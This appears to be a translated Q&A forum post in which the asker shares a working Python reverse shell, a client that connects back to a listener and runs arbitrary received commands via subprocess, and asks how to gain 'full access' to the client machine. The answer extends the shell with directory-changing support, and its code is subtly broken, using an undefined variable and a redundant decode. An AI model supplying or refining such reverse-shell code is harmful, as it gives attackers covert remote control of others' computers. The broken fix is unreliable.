尝试更改目录时，使用 Python 命令进行反向 Shell 命令会卡住

Question

我正在尝试使用 python 的反向 shell 获得具有完全权限的完全访问权限。连接建立后，我可以执行“ipconfig”或“dir”等命令（尽管有时我需要询问两次才能获得“dir”命令的结果。但是，当我尝试使用“cd..”命令更改目录时，它被卡住并且不返回任何内容。这是我的客户文件：import socketimport subprocessSERVER_HOST = "192.168.1.81"SERVER_PORT = 5003s = socket.socket()s.connect((SERVER_HOST, SERVER_PORT))while True:    command = s.recv(1024).decode()     if command.lower() == "exit":        break    else:        output = subprocess.getoutput(command)        s.send(output.encode())s.close()这是我的服务器文件：import socketSERVER_HOST = "192.168.1.81"SERVER_PORT = 5003s = socket.socket()s.bind((SERVER_HOST, SERVER_PORT))s.listen(5)print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")client_socket, client_address = s.accept()print(f"{client_address[0]}:{client_address[1]} Connected!")while True:    command = input("Enter the command you wanna execute:")    client_socket.send(command.encode())    if command.lower() == "exit":        break    else:        results = client_socket.recv(1024).decode()        print(results)client_socket.close()s.close()这是我得到的以及卡住的地方：Listening as 192.168.1.81:5003 ...192.168.1.81:52553 Connected! Enter the command you wanna execute:dir Volume in drive C is Windows Volume Serial Number is 7E4C-AD89 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke10/11/2020  08:45 AM    <DIR>          .10/11/2020  08:45 AM    <DIR>          ..10/11/2020  08:44 AM    <DIR>          .idea10/11/2020  12:40 AM                 0 Client.py10/11/2020  08:45 AM               569 my_client.py10/11/2020  12:40 AM               885 my_server.py               3 File(s)          1,454 bytes               3 Dir(s)  46,585,339,904 bytes freeEnter the command you wanna execute:cd..# It gets stuck here, it does not return anything.如何获得对客户端的完全访问权限并执行任何可能的命令？

Answer 1

通过在客户端文件中使用“os”库和“os.chdir”方法来解决，如下所示：

import socket

import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"

SERVER_PORT = 5003

s = socket.socket()

s.connect((SERVER_HOST, SERVER_PORT))

while True:

    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':

        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":

        break

    else:

        output = subprocess.getoutput(command)

        s.send(output.encode())

s.close()